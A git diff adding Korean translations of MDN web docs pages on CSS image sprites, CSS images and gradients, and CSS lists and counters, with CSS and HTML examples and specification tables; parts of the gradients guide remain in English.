+ + diff --git a/files/ko/web/css/css_images/implementing_image_sprites_in_css/index.html b/files/ko/web/css/css_images/implementing_image_sprites_in_css/index.html new file mode 100644 index 0000000000..a2ace369cf --- /dev/null +++ b/files/ko/web/css/css_images/implementing_image_sprites_in_css/index.html @@ -0,0 +1,56 @@ +--- +title: CSS로 이미지 스프라이트 구현하기 +slug: Web/CSS/CSS_Images/Implementing_image_sprites_in_CSS +tags: + - Advanced + - CSS + - CSS Image + - Graphics + - Guide + - Sprites + - Web + - 스프라이트 +translation_of: Web/CSS/CSS_Images/Implementing_image_sprites_in_CSS +--- +
{{CSSRef}}
+ +

이미지 스프라이트는 여러 개의 이미지가 필요한 아주 많은 웹앱에서 사용합니다. 이미지 각각을 별도의 파일로 추가하는 대신, 이미지를 하나의 파일로 만들어서 포함하면 HTTP 요청 수가 줄기 때문에 메모리와 네트워크 사용량 측면에서 효율적입니다.

+ +
+

참고: HTTP/2를 사용할 땐 오히려 작은 요청을 여러 번 날리는 게 네트워크 사용량에 더 좋을 수도 있습니다.

+
+ +

구현

+ +

toolbtn 클래스가 부여된 모든 아이템에 어떤 이미지가 부여된다고 가정해 봅시다.

+ +
.toolbtn {
+  background: url(myfile.png);
+  display: inline-block;
+  height: 20px;
+  width: 20px;
+}
+ +

배경 이미지의 위치는 속성에 지정된 {{cssxref("url()")}} 값 다음에 x, y 2개 값으로 지정할 수도 있고, {{cssxref("background-position")}} 속성으로 지정할 수 있습니다.

+ +
#btn1 {
+  background-position: -20px 0px;
+}
+
+#btn2 {
+  background-position: -40px 0px;
+}
+ +

이 CSS 는 ID 가 'btn1' 인 엘리먼트를 왼쪽으로 20 pixel 이동시키고 ID 가 'btn2' 인 엘리먼트를 왼쪽으로 40 pixel 이동시킬 것입니다 (앞서 보인 이미지 룰에 의해 두 엘리먼트에 toolbtn 클래스가 부여됐다고 가정합시다).

+ +

비슷하게, 마우스 호버 상태를 만들 수도 있습니다.

+ +
#btn:hover {
+  background-position: <pixels shifted right>px <pixels shifted down>px;
+}
+ +

같이 보기

+ + diff --git a/files/ko/web/css/css_images/index.html b/files/ko/web/css/css_images/index.html new file mode 100644 index 0000000000..99c37da296 --- /dev/null +++ b/files/ko/web/css/css_images/index.html @@ -0,0 +1,107 @@ +--- +title: CSS Images +slug: Web/CSS/CSS_Images +tags: + - CSS + - CSS Images + - Guide + - Overview + - Reference +translation_of: Web/CSS/CSS_Images +--- +
{{CSSRef}}
+ +

CSS Images는 사용할 수 있는 이미지의 유형({{cssxref("<image>")}} 자료형, 포함하는 URL, 그레이디언트 및 그 외의 다른 유형 이미지), 이미지의 크기 조정 방법, 그리고 이미지 및 다른 대체 콘텐츠가 각기 다른 레이아웃 모델과 상호작용하는 법을 정의하는 CSS 모듈입니다.

+ +

참고서

+ +

속성

+ +
+
    +
  • {{CSSxRef("image-orientation")}}
  • +
  • {{CSSxRef("image-rendering")}}
  • +
  • {{CSSxRef("image-resolution")}}
  • +
  • {{CSSxRef("object-fit")}}
  • +
  • {{CSSxRef("object-position")}}
  • +
+
+ +

함수

+ +
+
    +
  • {{CSSxRef("linear-gradient", "linear-gradient()")}}
  • +
  • {{CSSxRef("radial-gradient", "radial-gradient()")}}
  • +
  • {{CSSxRef("repeating-linear-gradient", "repeating-linear-gradient()")}}
  • +
  • {{CSSxRef("repeating-radial-gradient", "repeating-radial-gradient()")}}
  • +
  • {{CSSxRef("conic-gradient")}}
  • +
  • {{CSSxRef("repeating-conic-gradient", "repeating-conic-gradient()")}}
  • +
  • {{CSSxRef("url", "url()")}}
  • +
  • {{CSSxRef("element", "element()")}}
  • +
  • {{CSSxRef("_image", "image()")}}
  • +
  • {{CSSxRef("cross-fade", "cross-fade()")}}
  • +
+
+ +

자료형

+ +
+
    +
  • {{cssxref("<image>")}}
  • +
  • {{cssxref("<uri>")}}
  • +
+
+ +

안내서

+ +
+
CSS 그레이디언트 사용하기
+
CSS 이미지의 특정 유형인 "그레이디언트"를 소개하고, 그 사용법을 보입니다.
+
CSS에서 이미지 스프라이트 구현하기
+
다수의 이미지를 하나의 문서로 합쳐서 다운로드 요청을 절약하고 페이지 속도를 향상하는 방법을 소개합니다.
+
+ +

명세

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
명세상태설명
{{SpecName('CSS4 Images')}}{{Spec2('CSS4 Images')}}
{{SpecName('CSS3 Images')}}{{Spec2('CSS3 Images')}}
{{SpecName('Compat', '#css-%3Cimage%3E-type', 'CSS Gradients')}}{{Spec2('Compat')}}-webkit 접두어 달린 그러데이션 값 함수 표준화
{{SpecName('CSS3 Values', '#urls', '<url>')}}{{Spec2('CSS3 Values')}}
{{Specname('CSS2.1', 'syndata.html#uri', '<uri>')}}{{Spec2('CSS2.1')}}
{{SpecName('CSS1', '#url', '<url>')}}{{Spec2('CSS1')}}초기 정의
diff --git a/files/ko/web/css/css_images/using_css_gradients/index.html b/files/ko/web/css/css_images/using_css_gradients/index.html new file mode 100644 index 0000000000..061ef36536 --- /dev/null +++ b/files/ko/web/css/css_images/using_css_gradients/index.html @@ -0,0 +1,750 @@ +--- +title: CSS 그레이디언트 사용하기 +slug: Web/CSS/CSS_Images/Using_CSS_gradients +tags: + - Advanced + - CSS + - CSS Images + - Example + - Gradients + - Guide + - Web +translation_of: Web/CSS/CSS_Images/Using_CSS_gradients +--- +
{{CSSRef}}
+ +

CSS 그레이디언트는 {{cssxref("<image>")}} 자료형의 특별한 종류인 {{cssxref("<gradient>")}}로 나타내며 두 개 이상의 색 간의 점진적 전환을 표현합니다. 그레이디언트에는 선형({{cssxref("linear-gradient")}} 함수), 방사형({{cssxref("radial-gradient")}} 함수), 각진 원형({{cssxref("conic-gradient")}} 함수) 세 종류가 있으며, 각각의 변형본으로 계속해서 반복하는 {{cssxref("repeating-linear-gradient")}}, {{cssxref("repeating-radial-gradient")}}, {{cssxref("repeating-conic-gradient")}} 함수도 있습니다.

+ +

그레이디언트는 배경처럼 <image>를 사용하는 곳에는 어디에나 적용할 수 있습니다. 그레이디언트는 동적으로 생성하므로, 비슷한 효과를 보기 위해 래스터 이미지를 사용하는 방식을 사용하지 않아도 됩니다. 또한 브라우저가 직접 생성하므로 확대했을 때 래스터 이미지보다 좋은 품질을 보이며 크기 조절도 즉시 가능합니다.

+ +

우선 선형 그레이디언트의 소개로 시작하여, 모든 유형의 그레이디언트에서 통용되는 기능을 선형으로 설명하고, 그 후에 방사형과 각진 원형, 마지막으로 반복 그레이디언트에 대해 알아보겠습니다.

+ +

선형 그레이디언트 사용하기

+ +

선형 그레이디언트는 직선으로 진행하는 색상 무늬를 생성합니다.

+ +
+

기본 선형 그레이디언트

+ +

가장 기본적인 그레이디언트 종류를 생성하기 위해서는 두 가지의 색만 지정하면 됩니다. 각각의 색을 "색상 정지점"이라고 부릅니다. 최소 두 가지가 필요하지만, 제한 없이 원하는 만큼 추가할 수 있습니다.

+ + + +
.simple-linear {
+  background: linear-gradient(blue, pink);
+}
+ +

{{ EmbedLiveSample('기본_선형_그레이디언트', 120, 120) }}

+
+ +
+

방향 전환

+ +

기본적으로, 선형 그레이디언트는 위에서 아래로 진행합니다. 그러나 방향을 지정함으로써 그레이디언트를 회전할 수 있습니다.

+ + + +
.horizontal-gradient {
+  background: linear-gradient(to right, blue, pink);
+}
+
+ +

{{ EmbedLiveSample('방향_전환', 120, 120) }}

+
+ +
+

대각선 그레이디언트

+ +

그레이디언트가 한쪽 모서리에서 다른 쪽 모서리를 잇는 대각선 방향으로 진행하도록 할 수도 있습니다.

+ + + +
.diagonal-gradient {
+  background: linear-gradient(to bottom right, blue, pink);
+}
+
+ +

{{ EmbedLiveSample('대각선_그레이디언트', 200, 100) }}

+
+ +
+

각도 사용

+ +

더 정밀하게 방향을 지정하고 싶다면 특정 각도를 지정할 수 있습니다.

+ + + +
.angled-gradient {
+  background: linear-gradient(70deg, blue, pink);
+}
+
+ +

{{ EmbedLiveSample('각도_사용', 120, 120) }}

+ +

각도를 사용할 때 0deg 는 아래쪽에서 위쪽으로 진행하는 선형 그레이디언트를, 90deg 는 왼쪽에서 오른쪽으로, 등등 시계 방향으로 회전합니다. 음의 각도는 시계 반대 방향으로 회전합니다.

+ +

linear_redangles.png

+
+ +

색상 선언 & 효과 생성

+ +

All CSS gradient types are a range of position-dependent colors. The colors produced by CSS gradients can vary continuously with position, producing smooth color transitions. It is also possible to create bands of solid colors, and hard transitions between two colors. The following are valid for all gradient functions:

+ +
+

두 개보다 많은 색 사용하기

+ +

You don't have to limit yourself to two colors—you may use as many as you like! By default, colors are evenly spaced along the gradient.

+ + + +
.auto-spaced-linear-gradient {
+  background: linear-gradient(red, yellow, blue, orange);
+}
+
+ +

{{ EmbedLiveSample('두_개보다_많은_색_사용하기', 120, 120) }}

+
+ +
+

Positioning color stops

+ +

You don't have to leave your color stops at their default positions. To fine-tune their locations, you can give each one zero, one, or two percentage or, for radial and linear gradients, absolute length values. If you specify the location as a percentage, 0% represents the starting point, while 100% represents the ending point; however, you can use values outside that range if necessary to get the effect you want. If you leave a location unspecified, the position of that particular color stop will be automatically calculated for you, with the first color stop being at 0% and the last color stop being at 100%, and any other color stops being half way between their adjacent color stops.

+ + + +
.multicolor-linear {
+   background: linear-gradient(to left, lime 28px, red 77%, cyan);
+}
+
+ +

{{ EmbedLiveSample('Positioning_color_stops', 120, 120) }}

+
+ +
+

Creating hard lines

+ +

To create a hard line between two colors, creating a stripe instead of a gradual transition, adjacent color stops can be set to the same location. In this example, the colors share a color stop at the 50% mark, halfway through the gradient:

+ + + +
.striped {
+   background: linear-gradient(to bottom left, cyan 50%, palegoldenrod 50%);
+}
+ +

{{ EmbedLiveSample('Creating_hard_lines', 120, 120) }}

+
+ +
+

Gradient hints

+ +

By default, the gradient transitions evenly from one color to the next. You can include a color-hint to move the midpoint of the transition value to a certain point along the gradient. In this example, we've moved the midpoint of the transition from the 50% mark to the 10% mark.

+ + + +
.color-hint {
+  background: linear-gradient(blue, 10%, pink);
+}
+.simple-linear {
+  background: linear-gradient(blue, pink);
+}
+ +

{{ EmbedLiveSample('Gradient_hints', 120, 120) }}

+
+ +
+

Creating color bands & stripes

+ +

To include a solid, non-transitioning color area within a gradient, include two positions for the color stop. Color stops can have two positions, which is equivalent to two consecutive color stops with the same color at different positions. The color will reach full saturation at the first color stop, maintain that saturation through to the second color stop, and transition to the adjacent color stop's color through the adjacent color stop's first position.

+ + + +
.multiposition-stops {
+   background: linear-gradient(to left,
+       lime 20%, red 30%, red 45%, cyan 55%, cyan 70%, yellow 80% );
+   background: linear-gradient(to left,
+       lime 20%, red 30% 45%, cyan 55% 70%, yellow 80% );
+}
+.multiposition-stop2 {
+   background: linear-gradient(to left,
+      lime 25%, red 25%, red 50%, cyan 50%, cyan 75%, yellow 75% );
+   background: linear-gradient(to left,
+      lime 25%, red 25% 50%, cyan 50% 75%, yellow 75% );
+}
+
+ +

{{ EmbedLiveSample('Creating_color_bands_stripes', 120, 120) }}

+ +

In the first example above, the lime goes from the 0% mark, which is implied, to the 20% mark, transitions from lime to red over the next 10% of the width of the gradient, reach solid red at the 30% mark, and staying solid red up until 45% through the gradient, where it fades to cyan, being fully cyan for 15% of the gradient, and so on.

+ +

In the second example, the second color stop for each color is at the same location as the first color stop for the adjacent color, creating a striped effect.

+ +

In both examples, the gradient is written twice: the first is the CSS Images Level 3 method of repeating the color for each stop and the second example is the CSS Images Level 4 multiple color stop method of including two color-stop-lengths in a linear-color-stop declaration.

+
+ +
+

Controlling the progression of a gradient

+ +

By default, a gradient evenly progresses between the colors of two adjacent color stops, with the midpoint between those two color stops being the midpoint color value. You can control the interpolation, or progression, between two color stops by including a color hint location. In this example, the color reaches the midpoint between lime and cyan 20% of the way through the gradient rather than 50% of the way through. The second example does not contain the hint to hilight the difference the color hint can make:

+ + + +
.colorhint-gradient {
+  background: linear-gradient(to top, black, 20%, cyan);
+}
+.regular-progression {
+  background: linear-gradient(to top, black, cyan);
+}
+
+ +

{{ EmbedLiveSample('Controlling_the_progression_of_a_gradient', 120, 120) }}

+
+ +

Overlaying gradients

+ +

Gradients support transparency, so you can stack multiple backgrounds to achieve some pretty fancy effects. The backgrounds are stacked from top to bottom, with the first specified being on top.

+ + + +
.layered-image {
+  background: linear-gradient(to right, transparent, mistyrose),
+      url("https://mdn.mozillademos.org/files/15525/critters.png");
+}
+
+ +

{{ EmbedLiveSample('Overlaying_gradients', 300, 150) }}

+ +

Stacked gradients

+ +

You can even stack gradients with other gradients. As long as the top gradients aren't entirely opaque, the gradients below will still be visible.

+ + + +
.stacked-linear {
+  background:
+      linear-gradient(217deg, rgba(255,0,0,.8), rgba(255,0,0,0) 70.71%),
+      linear-gradient(127deg, rgba(0,255,0,.8), rgba(0,255,0,0) 70.71%),
+      linear-gradient(336deg, rgba(0,0,255,.8), rgba(0,0,255,0) 70.71%);
+}
+
+ +

{{ EmbedLiveSample('Stacked_gradients', 200, 200) }}

+ +

Using radial gradients

+ +

Radial gradients are similar to linear gradients, except that they radiate out from a central point. You can dictate where that central point is. You can also make them circular or elliptical.

+ +

A basic radial gradient

+ +

As with linear gradients, all you need to create a radial gradient are two colors. By default, the center of the gradient is at the 50% 50% mark, and the gradient is elliptical matching the aspect ratio of it's box:

+ + + +
.simple-radial {
+  background: radial-gradient(red, blue);
+}
+
+ +

{{ EmbedLiveSample('A_basic_radial_gradient', 120, 120) }}

+ +

Positioning radial color stops

+ +

Again like linear gradients, you can position each radial color stop with a percentage or absolute length.

+ + + +
.radial-gradient {
+  background: radial-gradient(red 10px, yellow 30%, #1e90ff 50%);
+}
+
+ +

{{ EmbedLiveSample('Positioning_radial_color_stops', 120, 120) }}

+ +

Positioning the center of the gradient

+ +

You can position the center of the gradient with keyterms, percentage, or absolute lengths, length and percentage values repeating if only one is present, otherwise in the order of position from the left and position from the top.

+ + + +
.radial-gradient {
+  background: radial-gradient(at 0% 30%, red 10px, yellow 30%, #1e90ff 50%);
+}
+
+ +

{{ EmbedLiveSample('Positioning_the_center_of_the_gradient', 120, 120) }}

+ +

Sizing radial gradients

+ +

Unlike linear gradients, you can specify the size of radial gradients. Possible values include closest-corner, closest-side, farthest-corner, and farthest-side, with farthest-corner being the default.

+ +

Example: closest-side for ellipses

+ +

This example uses the closest-side size value, which means the size is set by the distance from the starting point (the center) to the closest side of the enclosing box.

+ + + +
.radial-ellipse-side {
+  background: radial-gradient(ellipse closest-side,
+      red, yellow 10%, #1e90ff 50%, beige);
+}
+
+ +

{{ EmbedLiveSample('Example_closest-side_for_ellipses', 240, 100) }}

+ +

Example: farthest-corner for ellipses

+ +

This example is similar to the previous one, except that its size is specified as farthest-corner, which sets the size of the gradient by the distance from the starting point to the farthest corner of the enclosing box from the starting point.

+ + + +
.radial-ellipse-far {
+  background: radial-gradient(ellipse farthest-corner at 90% 90%,
+      red, yellow 10%, #1e90ff 50%, beige);
+}
+
+ +

{{ EmbedLiveSample('Example_farthest-corner_for_ellipses', 240, 100) }}

+ +

Example: closest-side for circles

+ +

This example uses closest-side, which makes the circle's size to be the distance between the starting point (the center) and the closest side. The circle's radius is the distance between the center of the gradient and the closest edge, which due to the positioning of the 25% from the top and 25% from the bottom, is closest to the bottom, since the height in this case is narrower than the width.

+ + + +
.radial-circle-close {
+  background: radial-gradient(circle closest-side at 25% 75%,
+      red, yellow 10%, #1e90ff 50%, beige);
+}
+
+ +

{{ EmbedLiveSample('Example_closest-side_for_circles', 240, 120) }}

+ +

Stacked radial gradients

+ +

Just like linear gradients, you can also stack radial gradients. The first specified is on top, the last on the bottom.

+ + + +
.stacked-radial {
+  background:
+      radial-gradient(circle at 50% 0,
+        rgba(255,0,0,.5),
+        rgba(255,0,0,0) 70.71%),
+      radial-gradient(circle at 6.7% 75%,
+        rgba(0,0,255,.5),
+        rgba(0,0,255,0) 70.71%),
+      radial-gradient(circle at 93.3% 75%,
+        rgba(0,255,0,.5),
+        rgba(0,255,0,0) 70.71%) beige;
+  border-radius: 50%;
+}
+
+ +

{{ EmbedLiveSample('Stacked_radial_gradients', 200, 200) }}

+ +

Using conic gradients

+ +

The conic-gradient() CSS function creates an image consisting of a gradient with color transitions rotated around a center point (rather than radiating from the center). Example conic gradients include pie charts and color wheels, but they can also be used for creating checker boards and other intersting effects.

+ +

The conic-gradient syntax is similar to the radial-gradient syntax, but the color-stops are placed around a gradient arc, the circumference of a circle, rather than on the gradient line emerging from the center of the gradient, and the color-stops are percentages or degrees: absolute lengths are not valid.

+ +

In a radial gradient, the colors transition from the center of an ellipse, outward, in all directions. With conic gradients, the colors transition as as if spun around the center of a circle, starting at the top and going clockwise. Similar to radial gradients, you can position the center of the gradient. Similar to linear gradients, you can change the gradient angle.

+ +
+

A basic conic gradient

+ +

As with linear and radial gradients, all you need to create a conic gradient are two colors. By default, the center of the gradient is at the 50% 50% mark, with the start of the gradient facing up:

+ + + +
.simple-conic {
+  background: conic-gradient(red, blue);
+}
+
+ +

{{ EmbedLiveSample('A_basic_conic_gradient', 120, 120) }}

+
+ +
+

Positioning the conic center

+ +

Like radial gradients, you can position the center of the conic gradient with keyterms, percentage, or absolute lengths, with the keyword "at"

+ + + +
.conic-gradient {
+  background: conic-gradient(at 0% 30%, red 10%, yellow 30%, #1e90ff 50%);
+}
+
+ +

{{ EmbedLiveSample('Positioning_the_conic_center', 120, 120) }}

+
+ +
+

Changing the angle

+ +

Like radial gradients, you can position the center of the conic gradient with keyterms, percentage, or absolute lengths, with the keyword "at"

+ + + +
.conic-gradient {
+  background: conic-gradient(from 45deg, red, orange, yellow, green, blue, purple);
+}
+
+ +

{{ EmbedLiveSample('Changing_the_angle', 120, 120) }}

+
+ +

Using repeating gradients

+ +

The {{cssxref("linear-gradient")}}, {{cssxref("radial-gradient")}}, and {{cssxref("conic-gradient")}} functions don't support automatically repeated color stops. However, the {{cssxref("repeating-linear-gradient")}}, {{cssxref("repeating-radial-gradient")}}, and {{cssxref("repeating-conic-gradient")}} functions are available to offer this functionality.

+ +

The size of the gradient line or arc that repeats is the length between the first color stop value and the last color stop length value. If the first color stop just has a color and no color stop length, the value defaults to 0. If the last color stop has just a color and no color stop length, the value defaults to 100%. If neither is declared, the gradient line is 100% meaning the linear and conic gradients will not repeat and the radial gradient will only repeat if the radius of the gradient is smaller than the length between the center of the gradient and the farthest corner. If the first color stop is declared, and the value is greater than 0, the gradient will repeat, as the size of the line or arc is the difference between the first color stop and last color stop is less than 100% or 360 degrees.

+ +
+

Repeating linear gradients

+ +

This example uses {{cssxref("repeating-linear-gradient")}} to create a gradient that progresses repeatedly in a straight line. The colors get cycled over again as the gradient repeats. In this case the gradient line is 10px long.

+ + + +
.repeating-linear {
+  background: repeating-linear-gradient(-45deg, red, red 5px, blue 5px, blue 10px);
+}
+
+ +

{{ EmbedLiveSample('Repeating_linear_gradients', 120, 120) }}

+
+ +
+

Multiple repeating linear gradients

+ +

Similar to regular linear and radial gradients, you can include multiple gradients, one on top of the other. This only makes sense if the gradients are partially transparent allowing subsequent gradients to show through the transparent areas, or if you include different background-sizes, optionally with different background-position property values, for each gradient image. We are using transparency.

+ +

In this case the gradient lines are 300px, 230px, and 300px long.

+ + + +
.multi-repeating-linear {
+  background:
+      repeating-linear-gradient(190deg, rgba(255, 0, 0, 0.5) 40px,
+        rgba(255, 153, 0, 0.5) 80px, rgba(255, 255, 0, 0.5) 120px,
+        rgba(0, 255, 0, 0.5) 160px, rgba(0, 0, 255, 0.5) 200px,
+        rgba(75, 0, 130, 0.5) 240px, rgba(238, 130, 238, 0.5) 280px,
+        rgba(255, 0, 0, 0.5) 300px),
+      repeating-linear-gradient(-190deg, rgba(255, 0, 0, 0.5) 30px,
+        rgba(255, 153, 0, 0.5) 60px, rgba(255, 255, 0, 0.5) 90px,
+        rgba(0, 255, 0, 0.5) 120px, rgba(0, 0, 255, 0.5) 150px,
+        rgba(75, 0, 130, 0.5) 180px, rgba(238, 130, 238, 0.5) 210px,
+        rgba(255, 0, 0, 0.5) 230px),
+      repeating-linear-gradient(23deg, red 50px, orange 100px,
+        yellow 150px, green 200px, blue 250px,
+        indigo 300px, violet 350px, red 370px);
+}
+
+ +

{{ EmbedLiveSample('Multiple_repeating_linear_gradients', 600, 400) }}

+
+ +

Plaid gradient

+ +

To create plaid we include several overlapping gradients with transparency. In the first background declaration we listed every color stop separately. The second background property declaration using the multiple position color stop syntax:

+ + + +
.plaid-gradient {
+  background:
+      repeating-linear-gradient(90deg, transparent, transparent 50px,
+        rgba(255, 127, 0, 0.25) 50px, rgba(255, 127, 0, 0.25) 56px,
+        transparent 56px, transparent 63px,
+        rgba(255, 127, 0, 0.25) 63px, rgba(255, 127, 0, 0.25) 69px,
+        transparent 69px, transparent 116px,
+        rgba(255, 206, 0, 0.25) 116px, rgba(255, 206, 0, 0.25) 166px),
+      repeating-linear-gradient(0deg, transparent, transparent 50px,
+        rgba(255, 127, 0, 0.25) 50px, rgba(255, 127, 0, 0.25) 56px,
+        transparent 56px, transparent 63px,
+        rgba(255, 127, 0, 0.25) 63px, rgba(255, 127, 0, 0.25) 69px,
+        transparent 69px, transparent 116px,
+        rgba(255, 206, 0, 0.25) 116px, rgba(255, 206, 0, 0.25) 166px),
+      repeating-linear-gradient(-45deg, transparent, transparent 5px,
+        rgba(143, 77, 63, 0.25) 5px, rgba(143, 77, 63, 0.25) 10px),
+      repeating-linear-gradient(45deg, transparent, transparent 5px,
+        rgba(143, 77, 63, 0.25) 5px, rgba(143, 77, 63, 0.25) 10px);
+
+  background:
+      repeating-linear-gradient(90deg, transparent 0 50px,
+        rgba(255, 127, 0, 0.25) 50px 56px,
+        transparent 56px 63px,
+        rgba(255, 127, 0, 0.25) 63px 69px,
+        transparent 69px 116px,
+        rgba(255, 206, 0, 0.25) 116px 166px),
+      repeating-linear-gradient(0deg, transparent 0 50px,
+        rgba(255, 127, 0, 0.25) 50px 56px,
+        transparent 56px 63px,
+        rgba(255, 127, 0, 0.25) 63px 69px,
+        transparent 69px 116px,
+        rgba(255, 206, 0, 0.25) 116px 166px),
+      repeating-linear-gradient(-45deg, transparent 0 5px,
+        rgba(143, 77, 63, 0.25) 5px 10px),
+      repeating-linear-gradient(45deg, transparent 0 5px,
+        rgba(143, 77, 63, 0.25) 5px 10px);
+}
+
+ +

{{ EmbedLiveSample('Plaid_gradient', 200, 200) }}

+ +

Repeating radial gradients

+ +

This example uses {{cssxref("repeating-radial-gradient")}} to create a gradient that radiates repeatedly from a central point. The colors get cycled over and over as the gradient repeats.

+ + + +
.repeating-radial {
+  background: repeating-radial-gradient(black, black 5px, white 5px, white 10px);
+}
+
+ +

{{ EmbedLiveSample('Repeating_radial_gradients', 120, 120) }}

+ +

Multiple repeating radial gradients

+ + + +
.multi-target {
+  background:
+      repeating-radial-gradient(ellipse at 80% 50%,rgba(0,0,0,0.5),
+        rgba(0,0,0,0.5) 15px, rgba(255,255,255,0.5) 15px,
+        rgba(255,255,255,0.5) 30px) top left no-repeat,
+      repeating-radial-gradient(ellipse at 20% 50%,rgba(0,0,0,0.5),
+        rgba(0,0,0,0.5) 10px, rgba(255,255,255,0.5) 10px,
+        rgba(255,255,255,0.5) 20px) top left no-repeat yellow;
+  background-size: 200px 200px, 150px 150px;
+}
+
+ +

{{ EmbedLiveSample('Multiple_repeating_radial_gradients', 250, 150) }}

+ +

같이 보기

+ +
    +
  • Gradient functions: {{cssxref("linear-gradient")}}, {{cssxref("radial-gradient")}}, {{cssxref("conic-gradient")}}, {{cssxref("repeating-linear-gradient")}}, {{cssxref("repeating-radial-gradient")}}, {{cssxref("repeating-conic-gradient")}}
  • +
  • Gradient-related CSS data types: {{cssxref("<gradient>")}}, {{cssxref("<image>")}}
  • +
  • Gradient-related CSS properties: {{cssxref("background")}}, {{cssxref("background-image")}}
  • +
  • CSS Gradients Patterns Gallery, by Lea Verou
  • +
  • CSS3 Gradients Library, by Estelle Weyl
  • +
  • Gradient CSS Generator
  • +
diff --git a/files/ko/web/css/css_lists_and_counters/index.html b/files/ko/web/css/css_lists_and_counters/index.html new file mode 100644 index 0000000000..7d3ecd8e4f --- /dev/null +++ b/files/ko/web/css/css_lists_and_counters/index.html @@ -0,0 +1,57 @@ +--- +title: CSS Lists and Counters +slug: Web/CSS/CSS_Lists_and_Counters +tags: + - CSS + - CSS Lists + - Overview + - Reference +translation_of: Web/CSS/CSS_Lists_and_Counters +--- +
{{CSSRef}}
+ +

CSS Lists는 리스트 배치 방법, 리스트 마커를 스타일 할 수 있는 법을 정의하는 CSS 모듈입니다.

+ +

참고서

+ +

속성

+ +
+
    +
  • {{cssxref("list-style-image")}}
  • +
  • {{cssxref("list-style-type")}}
  • +
  • {{cssxref("list-style-position")}}
  • +
  • {{cssxref("list-style")}}
  • +
+
+ +

안내서

+ +
+
일관된 리스트 들여쓰기
+
서로 다른 브라우저 사이에 일관된 들여쓰기를 이루는 법을 설명합니다.
+
+ +

명세

+ + + + + + + + + + + + + + + + + + + + + +
명세상태설명
{{SpecName('CSS3 Lists')}}{{Spec2('CSS3 Lists')}} 
{{SpecName('CSS2.1', 'generate.html')}}{{Spec2('CSS2.1')}}초기 정의
diff --git a/files/ko/web/css/css_lists_and_counters/using_css_counters/index.html b/files/ko/web/css/css_lists_and_counters/using_css_counters/index.html new file mode 100644 index 0000000000..4557bc725c --- /dev/null +++ b/files/ko/web/css/css_lists_and_counters/using_css_counters/index.html @@ -0,0 +1,148 @@ +--- +title: CSS 카운터 사용하기 +slug: Web/CSS/CSS_Lists_and_Counters/Using_CSS_counters +tags: + - CSS + - CSS Counter Styles + - Guide + - Layout + - Reference + - Web + - 번호 + - 카운터 +translation_of: Web/CSS/CSS_Lists_and_Counters/Using_CSS_counters +--- +
{{CSSRef}}
+ +

CSS counters를 사용하면 문서에서의 위치에 따라 콘텐츠의 모양을 조정할 수 있습니다. 예를 들어, counters를 사용해 웹페이지의 제목에 자동으로 번호를 매길 수 있습니다. Counters는 요소가 몇 번이나 사용되었는지 추적하여 CSS 규칙에 따라 증가하며, 본질적으로 변수입니다.

+ +

Counters 사용하기

+ +

카운터 값 조작하기

+ +

CSS counter를 사용하려면 먼저 {{cssxref("counter-reset")}} 속성(초깃값  0)을 사용하여 초기화 해야합니다. 동일한 속성으로 값을 특정 값으로 바꿀 수도 있습니다. 초기화 된 counter의 값은 {{cssxref("counter-increment")}}에 따라 증가하거나 감소합니다. counter의 이름으로 "none", "inherit", "initial"은 사용불가합니다. 이런 이름을 사용하면 선언은 무시됩니다.

+ +

카운터 표시하기

+ +

Counter의 값은 {{cssxref("content")}} 속성에서 {{cssxref("counter()")}}나 {{cssxref("counters()")}} 함수를 사용하여 표시할 수 있습니다.

+ +

counter() 함수는 'counter(name)'와 'counter(name, style)' 두 가지 형태로 사용할 수 있습니다. 생성된 텍스트는 가상 요소가 속한 범위에 있는 이름(name)의 가장 안쪽 counter의 값입니다. 텍스트는 지정된 서식(기본값은 십진수decimal)으로 뿌려집니다.

+ +

counters() 함수도 'counters(name, string)'나 'counters(name, string, style)' 두 가지 형태로 사용할 수 있습니다. 생성된 텍스트는 가상 요소가 속한 모든 범위에서 지정된 이름을 가진 counters의 값으로, 바깥 쪽부터 안쪽까지 값이 주어지며 지정된 문자열로 구분됩니다. counters는 지정된 스타일(기본값은 십진수decimal)로 렌더링 됩니다.

+ +

기본 예제

+ +

여기서는 제목 앞에 숫자를 붙여봅니다.

+ +

CSS

+ +
body {
+  counter-reset: section;                     /* counter 이름을 'section'으로 지정합니다.
+                                                 초깃값은 0입니다. */
+}
+
+h3::before {
+  counter-increment: section;                 /* section의 카운터 값을 1씩 증가시킵니다. */
+  content: counter(section);                  /* section의 카운터 값을 표시합니다. */
+}
+
+ +

HTML

+ +
<h3>Introduction</h3>
+<h3>Body</h3>
+<h3>Conclusion</h3>
+ +

결과

+ +

{{EmbedLiveSample("Basic_example", "100%", 150)}}

+ +

중첩 카운터

+ +

CSS 카운터는 자식 요소 안에서 새 인스턴스를 자동으로 만들어주어 목차를 만드는데 유용합니다. {{cssxref("counters()")}} 함수를 사용해 중첩된 다른 레벨의 카운터 사이를 분리하는 글자를 지정할 수 있습니다.

+ +

중첩 카운터 예제

+ +

CSS

+ +
ol {
+  counter-reset: section;                /* ol 요소마다
+                                            이름이 section인
+                                            새 인스턴스를 생성합니다. */
+  list-style-type: none;
+}
+
+li::before {
+  counter-increment: section;            /* 해당 인스턴스 안에서
+                                            section 카운터 값 증가 */
+  content: counters(section, ".") " ";   /* section 카운터 값을
+                                            마침표(.)로 구분해 결합하여
+                                            표시합니다. */
+}
+
+ +

HTML

+ +
<ol>
+  <li>item</li>          <!-- 1     -->
+  <li>item               <!-- 2     -->
+    <ol>
+      <li>item</li>      <!-- 2.1   -->
+      <li>item</li>      <!-- 2.2   -->
+      <li>item           <!-- 2.3   -->
+        <ol>
+          <li>item</li>  <!-- 2.3.1 -->
+          <li>item</li>  <!-- 2.3.2 -->
+        </ol>
+        <ol>
+          <li>item</li>  <!-- 2.4.1 -->
+          <li>item</li>  <!-- 2.4.2 -->
+          <li>item</li>  <!-- 2.4.3 -->
+        </ol>
+      </li>
+      <li>item</li>      <!-- 2.4   -->
+    </ol>
+  </li>
+  <li>item</li>          <!-- 3     -->
+  <li>item</li>          <!-- 4     -->
+</ol>
+<ol>
+  <li>item</li>          <!-- 1     -->
+  <li>item</li>          <!-- 2     -->
+</ol>
+ +

결과

+ +

{{EmbedLiveSample("Example_of_a_nested_counter", "100%", 350)}}

+ +

Specifications

+ + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("CSS3 Lists", "#auto-numbering", "CSS Counters")}}{{Spec2("CSS3 Lists")}}No change
